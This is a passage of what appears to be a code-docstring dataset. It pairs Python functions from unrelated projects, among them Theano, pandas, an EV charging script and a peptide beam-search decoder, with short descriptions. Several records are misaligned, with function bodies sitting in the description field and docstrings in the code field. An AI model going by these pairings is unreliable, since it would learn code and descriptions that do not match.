scan uses the values of '\n 'the previous time-step, then the initial state in scan '\n 'should be a matrix of shape (1, d). '\n 'The first dimension of this '\n 'matrix corresponds to the number of previous time-steps '\n 'that scan uses in each of its iterations. '\n 'In order to solve this issue if the two variable currently '\n 'have the same dimensionality, you can increase the '\n 'dimensionality of the varialbe in the initial state of scan '\n 'by using dimshuffle or shape_padleft. '\n )\n err_msg2 = ('When compiling the inner function of scan the '\n 'following error has been encountered: The '\n 'initial state (`outputs_info` in scan nomenclature) '\n 'of variable %s (argument number %d) '\n 'has dtype %s, while the result of the inner function '\n '(`fn`) has dtype %s. This can happen if the inner '\n 'function of scan results in an upcast or downcast.')\n err_msg3 = ('When compiling the inner function of scan (the '\n 'function called by scan in each of its iterations) '\n 'the following error has been encountered: The '\n 'initial state (`outputs_info` in scan nomenclature) '\n 'of variable %s (argument number %d) has %d dimension(s), '\n 'while the corresponding variable in the result of the inner '\n 'function of scan (`fn`) has %d dimension(s) (it should '\n 'be one less than the initial state). For example, '\n 'if the inner function of scan returns a vector '\n 'of size d and scan uses the values of '\n 'the previous time-step, then the initial state in scan '\n 'should be a matrix of shape (1, d). '\n 'The first dimension of this '\n 'matrix corresponds to the number of previous time-steps '\n 'that scan uses in each of its iterations. '\n 'In order to solve this issue if the two varialbe currently '\n 'have the same dimensionality, you can increase the '\n 'dimensionality of the variable in the initial state of scan '\n 'by using dimshuffle or shape_padleft. '\n )\n", "nl": "Conventions:inner_X - the variable corresponding to X in the inner functionof scan (the lambda function executed at every timestep)outer_X - the variable corresponding to X in the outer graph,i.e. the main graph (where the scan op lives)inner_X_out - the variable representing the new value of X afterexecuting one step of scan (i.e. outputs given bythe inner function)"} {"code": "def check_soc():\n threading.Timer(interval, check_soc).start()\n\n current_soc = v.get_status(\"EV_STATE_OF_CHARGE\")\n charging_state = v.get_status(\"EV_CHARGING_STATUS\")\n if current_soc >= max_soc and charging_state is \"CHARGING\":\n v.charging_stop()\n elif current_soc < min_soc and charging_state is \"NOT CHARGING\":\n v.charging_start()\n\n\nc = jlrpy.Connection('user@email.com', 'password')\nv = c.vehicles[0]\n\nprint(\"[*] Enforcing max soc of %d%%\" % max_soc)\nprint(\"[*] Enforcing min soc of %d%%\" % min_soc)\ncheck_soc()\n", "nl": "Retrieve vehicle status and stop or start charging ifcurrent charging level matches or exceeds specified max/min level andthe vehicle is currently charging."} {"code": "def _try_convert_data(self, name, data, use_dtypes=True, convert_dates=True):\n\n if use_dtypes:\n if not self.dtype:\n return data, False\n elif self.dtype is True:\n pass\n else:\n dtype = (\n self.dtype.get(name) if isinstance(self.dtype, dict) else self.dtype\n )\n if dtype is not None:\n try:\n dtype = np.dtype(dtype)\n return data.astype(dtype), True\n except (TypeError, ValueError):\n return data, False\n\n if convert_dates:\n new_data, result = self._try_convert_to_date(data)\n if result:\n return new_data, True\n\n result = False\n\n if data.dtype == \"object\":\n\n try:\n data = data.astype(\"float64\")\n result = True\n except (TypeError, ValueError):\n pass\n\n if data.dtype.kind == \"f\":\n\n if data.dtype != \"float64\":\n\n try:\n data = data.astype(\"float64\")\n result = True\n except (TypeError, ValueError):\n pass\n\n if len(data) and (data.dtype == \"float\" or data.dtype == \"object\"):\n\n try:\n new_data = data.astype(\"int64\")\n if (new_data == data).all():\n data = new_data\n result = True\n except (TypeError, ValueError):\n pass\n\n if data.dtype == \"int\":\n\n try:\n data = data.astype(\"int64\")\n result = True\n except (TypeError, ValueError):\n pass\n\n return data, result\n", "nl": "Try to parse a ndarray like into a column by inferring dtype."} {"code": "def rs(prefix=\"td\", length=4):\n rp = _rs(length)\n\n if prefix is not None:\n return \"%s_%s\" % (prefix, rp)\n return rp\n\n\nclass TargetdObj(object):\n @staticmethod", "nl": "Generate a random string with optional prefix"} {"code": "def get_fuzz_weight(self):\n return self.fuzz_weight\n", "nl": "Return the fuzzing weight of the node.Returns:int: the fuzzing weight"} {"code": "def length(self):\n return self._acc_frame_dur\n", "nl": "Returns the accumulated frame duration of the window"} {"code": "def redundant_entries(self):\n redundant = []\n for seq in self._sequences:\n if len(self._sequences[seq]) > 1:\n redundant.append(seq)\n return redundant\n", "nl": "Return list of sequences with redundant entriesReturns a list of those sequences for which thereare multiple associated names.Returns:List of sequences."} {"code": "def return_probe_from_definition(df, types):", "nl": " Generates a return dtrace probe from the given API definition. args = df[\"args\"]retval_type = df[\"retval_type\"]printf_specifier = type_description(retval_type, types)[\"printf_specifier\"]template = Template(RETURN_PROBE_TEMPLATE)mapping = {\"__LIBRARY__\": df.get(\"library\", \"\"),\"__NAME__\" : df[\"api\"],\"__ARGS_FORMAT_STRING__\" : arguments_format_string(args, types),\"__RETVAL_FORMAT_SPECIFIER__\" : printf_specifier,\"__ARGUMENTS__\" : arguments_section(args, types),\"__RETVAL__\" : retval_section(retval_type, types),\"__ARGUMENTS_POP_FROM_STACK__\": pop_from_stack_section(args)}return template.substitute(mapping)def typedefs_for_custom_structs(defs, types): Returns a list of typedef statements for custom structures"} {"code": "def hello() -> Div:\n return Container([\n Row([\n Col([\n H1('Hello, World!'),\n Br(),\n Input(\n id='hello_input',\n value='',\n type='text',\n placeholder='Enter name',\n debounce=True\n ),\n Br(),\n Div(id='hello_output'),\n internal_link('Home', href='/'),\n ])\n ])\n ])", "nl": "Returns the hello page"} {"code": "def create_point_(points, r=0.01):\n nPoints = points.shape[0]\n vert, face = load_sphere()\n nVerts = vert.shape[0]\n vert = vert[None, :, :].repeat(points.shape[0], 0)\n vert = vert + points[:, None, :]\n verts = np.vstack(vert)\n face = face[None, :, :].repeat(points.shape[0], 0)\n face = face + nVerts * np.arange(nPoints).reshape(nPoints, 1, 1)\n faces = np.vstack(face)\n return {'vertices': verts, 'faces': faces, 'name': 'points'}\n", "nl": " create sphereArgs:points (array): (N, 3)/(N, 4)r (float, optional): radius. Defaults to 0.01."} {"code": "def _augment_exception(exc, version, arch=''):\n message = exc.args[0]\n\n if \"vcvarsall\" in message.lower() or \"visual c\" in message.lower():\n tmpl = 'Microsoft Visual C++ {version:0.1f} is required.'\n message = tmpl.format(**locals())\n msdownload = 'www.microsoft.com/download/details.aspx?id=%d'\n if version == 9.0:\n if arch.lower().find('ia64') > -1:\n message += ' Get it with \"Microsoft Windows SDK 7.0\": '\n message += msdownload % 3138\n else:\n message += ' Get it from http://aka.ms/vcpython27'\n elif version == 10.0:\n message += ' Get it with \"Microsoft Windows SDK 7.1\": '\n message += msdownload % 8279\n elif version >= 14.0:\n message += (' Get it with \"Microsoft Visual C++ Build Tools\": '\n r'http://landinghub.visualstudio.com/'\n 'visual-cpp-build-tools')\n\n exc.args = (message, )\n\n\nclass PlatformInfo:\n \"\"\"\n current_cpu = safe_env.get('processor_architecture', '').lower()\n", "nl": "Add details to the exception message to help guide the useras to what action will resolve it."} {"code": "def collect(self, pf):\n return super(If, self).collect(pf) + \\\n self.predicate.collect(pf) + \\\n titus.util.flatten(x.collect(pf) for x in self.thenClause) + \\\n (titus.util.flatten(x.collect(pf) for x in self.elseClause) if self.elseClause is not None else [])\n", "nl": "Walk over tree applying a partial function, returning a list of results in its domain.:type pf: callable with ``isDefinedAt`` method:param pf: partial function that takes any titus.pfaast.Ast as an argument, returning anything:type pf.isDefinedAt: callable:param pf.isDefinedAt: domain that takes any titus.pfaast.Ast as an argument, returning ``True`` if this item is in the domain, ``False`` otherwise:rtype: list of function results:return: a result for each abstract syntax tree node in the ``pf`` function's domain"} {"code": "def __init__(self, lambd, sigma=1.0, **kwargs):\n self.lambd = lambd\n self.sigma = sigma\n super().__init__(**kwargs)\n", "nl": "Dantzig selectorArgs:lamb: tunable parametersigma: standard deviation of the error"} {"code": "def _gen_torch_model(self, inputdim, optimizer):\n\n Parameters\n ----------\n x: np.ndarray\n A numpy array of the input features, \\( x \\).\n t: np.ndarray\n A numpy array of the event/censoring times, \\( t \\).\n e: np.ndarray\n A numpy array of the event/censoring indicators, \\( \\delta \\).\n \\( \\delta = 1 \\) means the event took place.\n vsize: float\n Amount of data to set aside as the validation set.\n val_data: tuple\n A tuple of the validation dataset. If passed vsize is ignored.\n iters: int\n The maximum number of training iterations on the training dataset.\n learning_rate: float\n The learning rate for the `Adam` optimizer.\n batch_size: int\n learning is performed on mini-batches of input data. this parameter\n specifies the size of each mini-batch.\n optimizer: str\n The choice of the gradient based optimization method. One of\n 'Adam', 'RMSProp' or 'SGD'.\n\n \"\"\"", "nl": "Helper function to return a torch model.np.random.seed(self.random_seed)torch.manual_seed(self.random_seed)return DeepCoxMixturesTorch(inputdim,k=self.k,gamma=self.gamma,use_activation=self.use_activation,layers=self.layers,optimizer=optimizer)def fit(self, x, t, e, vsize=0.15, val_data=None,iters=1, learning_rate=1e-3, batch_size=100,optimizer=\"Adam\"):rThis method is used to train an instance of the DSM model."} {"code": "def get(self, task_id, server=None):\n the request to remove temporary files.\n \"\"\"", "nl": "Returns the generated archivetask = perform_restore.AsyncResult(task_id)bui.audit.logger.debug(f\"downloading file for task {task_id}\")if task.state != \"SUCCESS\":bui.audit.logger.info(f\"unable to complete task: {task.state}\")if task.state == \"FAILURE\":err = task.result.get(\"error\")if err != \"encrypted\" and not task.result.get(\"admin\"):err = (\"An error occurred while performing the \"\"restoration. Please contact your administrator \"\"for further details\")self.abort(500, \"Unsuccessful task:\\n{}\".format(err))self.abort(400, \"Task not processed yet: {}\".format(task.state))path = task.result.get(\"path\")user = task.result.get(\"user\")dst_server = task.result.get(\"server\")filename = task.result.get(\"filename\")bui.audit.logger.info(f\"restored file {filename} ({path}) for user {user}\", server=dst_server)if (current_user.name != user or (dst_server and dst_server != server)) and not current_user.acl.is_admin():bui.audit.logger.error(\"cannot send file: unauthorized access\")self.abort(403, \"Unauthorized access\")if db:rec = Task.query.filter_by(uuid=task_id).first()if rec:try:db.session.delete(rec)db.session.commit()except:db.session.rollback()task.revoke()if dst_server:return self.stream_file(path, filename, dst_server)try:# Trick to delete the file while sending it to the client.# First, we open the file in reading mode so that a file handler# is open on the file. Then we delete it as soon as the request# ended. Because the fh is open, the file will be actually removed# when the transfer is done and the send_file method has closed# the fh. Only tested on Linux systems.fh = open(path, \"rb\")@after_this_requestdef remove_file(response):Callback function to run after the client has handled"} {"code": "def reports(page):\n\n if not (\n SubMod.select().where(SubMod.user == current_user.uid) or current_user.can_admin\n ):\n abort(404)\n\n reports = getReports(\"mod\", \"closed\", page)\n\n return engine.get_template(\"mod/closed.html\").render(\n {\n \"reports\": reports,\n \"page\": page,\n \"sub\": False,\n \"subInfo\": False,\n \"subMods\": False,\n }\n )\n\n", "nl": " WIP: Open Report Queue if not (SubMod.select().where(SubMod.user == current_user.uid) or current_user.can_admin):abort(404)reports = getReports(\"mod\", \"open\", page)return engine.get_template(\"mod/reports.html\").render({\"reports\": reports,\"page\": page,\"sub\": False,\"subInfo\": False,\"subMods\": False,})@bp.route(\"/reports/closed\", defaults={\"page\": 1})@bp.route(\"/reports/closed/\")@login_requireddef closed(page): WIP: Closed Reports List "} {"code": "def _supplementary_generators(gen_list: List[Generator]) -> List[Generator]:\n pairs = {tuple(gen[2]) for gen in gen_list}\n supp_gens = []\n for tup in pairs:\n supp_gens.append(('10', '00', tup))\n supp_gens.append(('00', '10', tup))\n supp_gens.append(('11', '01', tup))\n supp_gens.append(('01', '11', tup))\n return supp_gens", "nl": "Supplementary generators needed to run 1q calibrations.Args:gen_list (List[Generator]): List of generators.Returns:List[Generator]: List of additional generators needed."} {"code": "def _error_traceback_html(exc_info, traceback_):\n\n html = \"\"\"\n\n return html.format(error=exc_info[1], traceback=traceback_)\n\n", "nl": "Generates error traceback HTML.:param tuple exc_info:Output of :func:`sys.exc_info` function.:param traceback:Output of :func:`traceback.format_exc` function."} {"code": "def fileno(self):\n\n NOTE: After call this, this object will be unusable.\n \"\"\"", "nl": "The file descriptor associated with the inotify instance.return self._inotify_fddef close(self):Close the inotify filedescriptor."} {"code": "def test_change_cwd__non_existent_dir(self):\n original_cwd = os.getcwd()\n\n with support.temp_dir() as parent_dir:\n bad_dir = os.path.join(parent_dir, 'does_not_exist')\n with support.check_warnings() as recorder:\n with support.change_cwd(bad_dir, quiet=True) as new_cwd:\n self.assertEqual(new_cwd, original_cwd)\n self.assertEqual(os.getcwd(), new_cwd)\n warnings = [str(w.message) for w in recorder.warnings]\n\n self.assertEqual(len(warnings), 1, warnings)\n warn = warnings[0]\n self.assertTrue(warn.startswith('tests may fail, unable to change '\n 'the current working directory '\n 'to {!r}: '.format(bad_dir)),\n warn)\n\n", "nl": "Test passing a non-existent directory.original_cwd = os.getcwd()def call_change_cwd(path):with support.change_cwd(path) as new_cwd:raise Exception(\"should not get here\")with support.temp_dir() as parent_dir:non_existent_dir = os.path.join(parent_dir, 'does_not_exist')self.assertRaises(FileNotFoundError, call_change_cwd,non_existent_dir)self.assertEqual(os.getcwd(), original_cwd)def test_change_cwd__non_existent_dir__quiet_true(self):Test passing a non-existent directory with quiet=True."} {"code": "def forward(self, L, H):\n assert len(L.size()) == len(H.size()) == 3\n self.input_height = L.size()[-1] + H.size()[-1]\n self.get_matrix()\n return IDWTFunction_1D.apply(L, H, self.matrix_low, self.matrix_high)\n\n\nclass DWT_2D_tiny(Module):\n \"\"\"", "nl": ":param L: the low-frequency component of the original data:param H: the high-frequency component of the original data:return: the original data"} {"code": "def _parse_vg_data(vg_data):\n if len(vg_data) != 17:\n _LOGGER.critical('Invalid volume group info: %r', vg_data)\n return None\n\n return {\n 'name': vg_data[0],\n 'access': vg_data[1],\n 'status': vg_data[2],\n 'number': int(vg_data[3], base=10),\n 'lv_max': int(vg_data[4], base=10),\n 'lv_cur': int(vg_data[5], base=10),\n 'lv_open_count': int(vg_data[6], base=10),\n 'max_size': int(vg_data[7], base=10),\n 'pv_max': int(vg_data[8], base=10),\n 'pv_cur': int(vg_data[9], base=10),\n 'pv_actual': int(vg_data[10], base=10),\n 'size': int(vg_data[11], base=10),\n 'extent_size': int(vg_data[12], base=10),\n 'extent_nb': int(vg_data[13], base=10),\n 'extent_alloc': int(vg_data[14], base=10),\n 'extent_free': int(vg_data[15], base=10),\n 'uuid': vg_data[16],\n }\n\n", "nl": "Parse LVM volume group data."} {"code": "def load_dataset(path_dataset):\n\n Args:\n dataset: ([([\"a\", \"cat\"], [\"O\", \"O\"]), ...])\n save_dir: (string)\n \"\"\"", "nl": "Load dataset into memory from text filedataset = []with open(path_dataset) as f:words, tags = [], []# Each line of the file corresponds to one word and tagfor line in f:if line != '\\n':line = line.strip('\\n')if len(line.split()) > 1:word = line.split()[0]tag = line.split()[-1]else:# print(line)continuetry:if len(word) > 0 and len(tag) > 0:word, tag = str(word), str(tag)words.append(word)tags.append(tag)except Exception as e:print('An exception was raised, skipping a word: {}'.format(e))else:if len(words) > 0:assert len(words) == len(tags)dataset.append((words, tags))words, tags = [], []return datasetdef save_dataset(dataset, save_dir):Write sentences.txt and tags.txt files in save_dir from dataset"} {"code": "def loadAbc(self, abcMesh, js, pBar=None):\n shapes = js[\"shapes\"]\n if js[\"encodingVersion\"] > 1:\n shapes = [i[\"name\"] for i in shapes]\n pointPositions = getSampleArray(abcMesh)\n for name, ppos in zip(shapes, pointPositions):\n dummyShape = self.shapeNode.shapes[name]\n dummyShape.points = ppos\n", "nl": " Load the shapes from an alembic file onto an already-created systemParameters----------abcMesh : IPolyMeshThe Alembic mesh to load shapes fromjs : dictThe simplex definition dictionarypBar : QProgressDialog, optionalAn optional progress dialog (Default value = None)"} {"code": "def test_assemble(self):\n n_el = 16\n np.random.seed(42)\n mesh = _mesh_obj_large()\n for parser in [\"meas_current\", \"fmmu\", \"rotate_meas\"]:\n ex_lines = [np.random.permutation(n_el)[:2] for _ in range(10)]\n for ex_line in ex_lines:\n ex_mat = np.array([ex_line])\n protocol = _protocol_obj(ex_mat, n_el, 1, parser)\n fwd = pyeit.eit.fem.EITForward(mesh, protocol)\n diff_truth = _meas_pattern(ex_line, n_el, 1, parser)\n diff = fwd.protocol.meas_mat[0]\n\n assert np.allclose(diff, diff_truth)\n", "nl": "test assembling coefficients matrix, {se, perm} -> Knp.random.seed(0)n, ne = 10, 42pts = np.arange(n)tri = np.array([pts[np.random.permutation(n)[:3]] for _ in range(ne)])perm = np.random.randn(ne)se = np.random.randn(ne, 3, 3)k_truth = _assemble(se, tri, perm, n)k = pyeit.eit.fem.assemble(se, tri, perm, n).toarray()self.assertTrue(np.allclose(k, k_truth))def test_meas_pattern(self):test measurement pattern/voltage meter"} {"code": "def cols(self):\n return itertools.izip(*list(self.rows()))\n\n __iter__ = cells", "nl": "Returns an interator of column tuples."} {"code": "def wgs84_utm_zone(self):\n if self.entries_count() > 0:\n entry = self.get_entry(0)\n longlat = CRS.from_epsg(\"4326\")\n lon, lat = location.transform2(self.srs, longlat, entry.x, entry.y)\n utm_zone, hemisphere = location.get_utm_zone_and_hemisphere_from(lon, lat)\n return \"WGS84 UTM %s%s\" % (utm_zone, hemisphere)\n", "nl": "Finds the UTM zone where the first point of the GCP falls into:return utm zone string valid for a coordinates header"} {"code": "def preimageSizeFZF(self, K):", "nl": ":type K: int:rtype: int"} {"code": "def _convert_id_to_token(self, index):\n out_string = \" \".join(tokens).replace(\"\n return out_string\n", "nl": "Converts an index (integer) in a token (str) using the vocab.return self.ids_to_tokens.get(index, self.unk_token)def convert_tokens_to_string(self, tokens): Converts a sequence of tokens (string) in a single string. "} {"code": "def testPackSignedBigEndian(self):\n self.assertEqual(map(signed, engine.action(None)), [0, 1, 0, 12, 0, 12, 0, 0, 0, 12, 0, 0, 0, 0, 0, 0, 0, 12, 65, 64, 0, 0, 64, 40, 0, 0, 0, 0, 0, 0])\n", "nl": "engine, = PFAEngine.fromYaml(input: \"null\"output: bytesaction:pack: [{pad: null}, {boolean: true}, {boolean: false}, {byte: 12}, {short: 12}, {int: 12}, {long: 12}, {float: 12}, {double: 12}])"} {"code": "def parents(self) -> List[\"Fixture\"]:", "nl": "Return the parent fixtures of this fixture, as a list of Fixtures."} {"code": "def _is_json_mode(self):\n return not self._is_text_mode() and not self._is_handler_mode()\n", "nl": "Returns true if json mode is selected:return:"} {"code": "def clearmemo():\n\n Parameters\n ----------\n filename : str\n The path to the file.\n includes : list of str, optional\n The list of extra include directories to search for header files.", "nl": "Clears all function memoizations for autodescribers.for x in globals().values():if callable(x) and hasattr(x, 'cache'):x.cache.clear()def not_implemented(obj):if not isinstance(obj, type):if obj.__doc__ is None:obj.__doc__ = ''obj.__doc__ += (\"\\n\\n.. warning:: This has not yet been implemented \"\"fully or at all.\\n\\n\")@functools.wraps(obj)def func(*args, **kwargs):msg = \"The functionality in {0} has not been implemented fully or at all\"msg = msg.format(obj)raise NotImplementedError(msg)return func## GCC-XML Describers#@_memoize_parserdef gccxml_parse(filename, includes=(), defines=('XDRESS',), undefines=(),extra_parser_args=(), verbose=False, debug=False, builddir='build',clang_includes=()):Use GCC-XML to parse a file. This function is automatically memoized."} {"code": "def read(self):\n cur = self.f.tell()\n line = self.f.readline().strip()\n if self.f.tell() == cur:\n raise StopIteration(\"EOF reached!!\")\n\n raw = line.strip().split('\\t')\n assert raw[2] == 'exon'\n chr = raw[0]\n s, e = int(raw[3])-1, int(raw[4])\n strand = raw[6]\n seqid = raw[8]\n\n rec = gmapRecord(chr, coverage=None, identity=None, strand=strand, seqid=seqid)\n rec.add_exon(s, e, s, e, strand, score=None)\n\n while True:\n line = self.f.readline().strip()\n if line.startswith('\n return rec\n raw = line.split('\\t')\n assert raw[2] == 'exon'\n s, e = int(raw[3])-1, int(raw[4])\n rec.add_exon(s, e, s, e, strand, score=None)\n return rec\n", "nl": "UCSC-style GFF, which is0) seqname (chromosome)1) source2) feature (gene|exon|mRNA...)3) start (1-based)4) end (1-based)5) score6) strand7) frame8) groupA series is delimited by '###' line"} {"code": "def resnet32(**kwargs):\n return ResNet(32, [[5, 3], [5]], **kwargs)\n\n", "nl": "Constructs a ResNet-32 model."} {"code": "def test_bad_file():\n\n for bad in random.sample(range(-10, 1), 3):\n rv, out = getstatusoutput(f'{prg} -n {bad} {sonnet}')\n assert rv != 0\n assert re.search(f'--num \"{bad}\" must be greater than 0', out)\n\n", "nl": "Bad filebad = random_string()rv, out = getstatusoutput(f'{prg} {bad}')assert rv != 0assert re.search(f\"No such file or directory: '{bad}'\", out)# --------------------------------------------------def test_bad_num():Bad num"} {"code": "def test_eigen_ref_life_support():\n\n a = np.full(shape=10, fill_value=8, dtype=np.int8)\n assert m.get_elem_direct(a) == 8\n\n list_of_a = [a]\n assert m.get_elem_indirect(list_of_a) == 8\n\n", "nl": "Ensure the lifetime of temporary arrays created by the `Ref` casterThe `Ref` caster sometimes creates a copy which needs to stay alive. This needs tohappen both for directs casts (just the array) or indirectly (e.g. list of arrays)."} {"code": "def test_if(self):\n self.assertEqual(\n jsonLogic(\n {\"if\": [True, \"yes\", \"no\"]}\n ),\n \"yes\"\n )\n\n self.assertEqual(\n jsonLogic(\n {\"if\": [False, \"yes\", \"no\"]}\n ),\n \"no\"\n )\n\n self.assertEqual(\n jsonLogic(\n {\"if\": [\n {\"<\": [{\"var\": \"temp\"}, 0]}, \"freezing\",\n {\"<\": [{\"var\": \"temp\"}, 100]}, \"liquid\",\n \"gas\"\n ]},\n {\"temp\": 200}\n ),\n \"gas\"\n )\n", "nl": "The if statement typically takes 3 arguments: a condition (if),what to do if it's true (then), and what to do if it's false (else)."} {"code": "def _predict(self, features):\n spatial_averaged_roi_pooled_features = tf.reduce_mean(\n features, [1, 2], keep_dims=True, name='AvgPool')\n net = spatial_averaged_roi_pooled_features\n for layer in self._class_predictor_layers:\n net = layer(net)\n class_predictions_with_background = tf.reshape(\n net,\n [-1, 1, self._num_class_slots])\n return class_predictions_with_background\n\n\nclass WeightSharedConvolutionalClassHead(head.KerasHead):\n \"\"\"Weight shared convolutional class prediction head.\n", "nl": "Predicts the class scores for boxes.Args:features: A float tensor of shape [batch_size, height, width, channels]containing features for a batch of images.Returns:class_predictions_with_background: A float tensor of shape[batch_size, 1, num_class_slots] representing the class predictions forthe proposals."} {"code": "def get(key: str) -> Union[bool, int, float, str, tuple]:", "nl": "This method returns the value for the given :param key:.Values of non-existing keys are set to their respective default value."} {"code": "def test_acceptableCiphersAreAlwaysSet(self):\n opts = sslverify.OpenSSLCertificateOptions(\n privateKey=self.sKey,\n certificate=self.sCert,\n )\n opts._contextFactory = FakeContext\n ctx = opts.getContext()\n self.assertEqual(opts._cipherString.encode('ascii'), ctx._cipherList)\n\n", "nl": "If the user doesn't supply custom acceptable ciphers, a shipped securedefault is used. We can't check directly for it because the effectivecipher string we set varies with platforms."} {"code": "def decode_beam_select_2(output_top_paths):\n\n print(\"decode_beam_search_01(), direction={0}\".format(direction))\n\n test_time_decode = 0.0\n test_time_tf = 0.0\n test_time = 0.0\n\n start_time_decode = time.time()\n\n if direction == 0:\n\n model_lstm_state0 = model.output_forward[\"lstm_state0\"]\n model_output_log_prob = model.output_forward[\"logprob\"]\n model_lstm_state = model.output_forward[\"lstm_state\"]\n\n FIRST_LABEL = deepnovo_config.GO_ID\n LAST_LABEL = deepnovo_config.EOS_ID\n\n elif direction == 1:\n\n model_lstm_state0 = model.output_backward[\"lstm_state0\"]\n model_output_log_prob = model.output_backward[\"logprob\"]\n model_lstm_state = model.output_backward[\"lstm_state\"]\n\n FIRST_LABEL = deepnovo_config.EOS_ID\n LAST_LABEL = deepnovo_config.GO_ID\n\n data_set_len = len(data_set)\n\n output_top_paths = [[] for x in xrange(data_set_len)]\n\n decode_block_size = deepnovo_config.batch_size\n\n start_time_tf = time.time()\n\n data_set_index_list = range(data_set_len)\n data_set_index_stack_list = [data_set_index_list[i:i+decode_block_size]\n for i in range(0,\n data_set_len,\n decode_block_size)]\n\n block_c_state0 = []\n block_h_state0 = []\n\n for stack in data_set_index_stack_list:\n\n block_spectrum = np.array([data_set[x][1] for x in stack])\n input_feed = {}\n input_feed[model.input_dict[\"spectrum\"].name] = block_spectrum\n output_feed = model_lstm_state0\n stack_c_state0, stack_h_state0 = sess.run(fetches=output_feed,\n feed_dict=input_feed)\n block_c_state0.append(stack_c_state0)\n block_h_state0.append(stack_h_state0)\n\n block_c_state0 = np.vstack(block_c_state0)\n block_h_state0 = np.vstack(block_h_state0)\n\n test_time_tf += time.time() - start_time_tf\n\n\n\n\n\n\n active_search = []\n\n for spectrum_id in xrange(decode_block_size):\n\n active_search.append([])\n active_search[-1].append(spectrum_id)\n active_search[-1].append([[[FIRST_LABEL],\n prefix_mass_list[spectrum_id],\n 0.0,\n block_c_state0[spectrum_id],\n block_h_state0[spectrum_id]]])\n\n spectrum_count = decode_block_size\n\n\n\n\n\n\n while True:\n\n block_AA_ID_1 = []\n block_AA_ID_2 = []\n block_c_state = []\n block_h_state = []\n block_candidate_intensity = []\n\n block_path_0 = []\n block_prefix_mass = []\n block_score = []\n block_mass_filter_candidate = []\n\n entry_block_size = []\n\n for entry in active_search:\n\n spectrum_id = entry[0]\n current_paths = entry[1]\n peptide_mass = data_set[spectrum_id][3]\n spectrum_original = data_set[spectrum_id][2]\n\n path_count = 0\n\n for path in current_paths:\n\n AA_ID_2 = path[0][-1]\n if len(path[0]) > 1:\n AA_ID_1 = path[0][-2]\n else:\n AA_ID_1 = AA_ID_2\n\n prefix_mass = path[1]\n score = path[2]\n c_state = path[3]\n h_state = path[4]\n\n if AA_ID_2 == LAST_LABEL:\n if (abs(prefix_mass - peptide_mass)\n <= deepnovo_config.PRECURSOR_MASS_PRECISION_TOLERANCE):\n output_top_paths[spectrum_id].append([path[0], path[2], direction])\n continue\n\n start_time = time.time()\n\n candidate_intensity = get_candidate_intensity(spectrum_original,\n peptide_mass,\n prefix_mass,\n direction)\n\n test_time += time.time() - start_time\n\n suffix_mass = (peptide_mass - prefix_mass\n - deepnovo_config.mass_ID[LAST_LABEL])\n mass_filter_candidate = knapsack_search(knapsack_matrix,\n suffix_mass,\n knapsack_precision)\n\n if not mass_filter_candidate:\n mass_filter_candidate.append(LAST_LABEL)\n\n block_AA_ID_1.append(AA_ID_1)\n block_AA_ID_2.append(AA_ID_2)\n block_c_state.append(c_state)\n block_h_state.append(h_state)\n block_candidate_intensity.append(candidate_intensity)\n\n block_path_0.append(path[0])\n block_prefix_mass.append(prefix_mass)\n block_score.append(score)\n block_mass_filter_candidate.append(mass_filter_candidate)\n\n path_count += 1\n\n entry_block_size.append(path_count)\n\n if block_AA_ID_1:\n\n start_time_tf = time.time()\n\n block_AA_ID_1 = np.array(block_AA_ID_1)\n block_AA_ID_2 = np.array(block_AA_ID_2)\n block_c_state = np.array(block_c_state)\n block_h_state = np.array(block_h_state)\n block_candidate_intensity = np.array(block_candidate_intensity)\n\n input_feed = {}\n input_feed[model.input_dict[\"AAid\"][0].name] = block_AA_ID_1\n input_feed[model.input_dict[\"AAid\"][1].name] = block_AA_ID_2\n input_feed[model.input_dict[\"intensity\"].name] = block_candidate_intensity\n input_feed[model.input_dict[\"lstm_state\"][0].name] = block_c_state\n input_feed[model.input_dict[\"lstm_state\"][1].name] = block_h_state\n\n output_feed = [model_output_log_prob, model_lstm_state]\n\n current_log_prob, (current_c_state, current_h_state) = sess.run(\n output_feed,\n input_feed)\n\n test_time_tf += time.time() - start_time_tf\n\n block_index = 0\n for entry_index, entry in enumerate(active_search):\n\n new_paths = []\n\n for index in xrange(block_index,\n block_index + entry_block_size[entry_index]):\n\n for aa_id in block_mass_filter_candidate[index]:\n\n new_paths.append([])\n new_paths[-1].append(block_path_0[index] + [aa_id])\n new_paths[-1].append(block_prefix_mass[index]\n + deepnovo_config.mass_ID[aa_id])\n\n if aa_id > 2:\n new_paths[-1].append(block_score[index]\n + current_log_prob[index][aa_id])\n else:\n new_paths[-1].append(block_score[index])\n\n new_paths[-1].append(current_c_state[index])\n new_paths[-1].append(current_h_state[index])\n\n if len(new_paths) > deepnovo_config.FLAGS.beam_size:\n new_path_scores = np.array([x[2] for x in new_paths])\n top_k_indices = np.argpartition(-new_path_scores, deepnovo_config.FLAGS.beam_size)[:deepnovo_config.FLAGS.beam_size]\n entry[1] = [new_paths[top_k_indices[x]]\n for x in xrange(deepnovo_config.FLAGS.beam_size)]\n else:\n entry[1] = new_paths[:]\n\n block_index += entry_block_size[entry_index]\n\n active_search = [entry for entry in active_search if entry[1]]\n active_search_len = len(active_search)\n if active_search_len < decode_block_size and spectrum_count < data_set_len:\n\n new_spectrum_count = min(spectrum_count\n + decode_block_size\n - active_search_len,\n data_set_len)\n\n for spectrum_id in xrange(spectrum_count, new_spectrum_count):\n active_search.append([])\n active_search[-1].append(spectrum_id)\n active_search[-1].append([[[FIRST_LABEL],\n prefix_mass_list[spectrum_id],\n 0.0,\n block_c_state0[spectrum_id],\n block_h_state0[spectrum_id]]])\n\n spectrum_count = new_spectrum_count\n\n if not active_search:\n break\n\n\n\n\n\n\n test_time_decode += time.time() - start_time_decode\n\n print(\" test_time_tf = %.2f\" % (test_time_tf))\n print(\" test_time_decode = %.2f\" % (test_time_decode))\n print(\" test_time = %.2f\" % (test_time))\n\n return output_top_paths\n\n", "nl": "TODO(nh2tran): docstring.outputs = []for top_paths in output_top_paths:if not top_paths: # cannot find the peptideoutput_seq = [deepnovo_config.EOS_ID]output_score = float(\"inf\")#~ print(\"ERROR: no path found \", entry)#~ sys.exit()else:# path format: [path, score, direction]path_scores = np.array([x[1] for x in top_paths])path_lengths = np.array([len(x[0]) for x in top_paths])#~ top_path = top_paths[np.argmax(path_scores)]top_path = top_paths[np.argmax(path_scores/path_lengths)]output_seq = top_path[0]output_score = top_path[1] / len(output_seq)output_seq.append(deepnovo_config.EOS_ID)#~ output_score = top_path[1]# output sequence with scoreoutputs.append([output_seq, output_score])return outputsdef 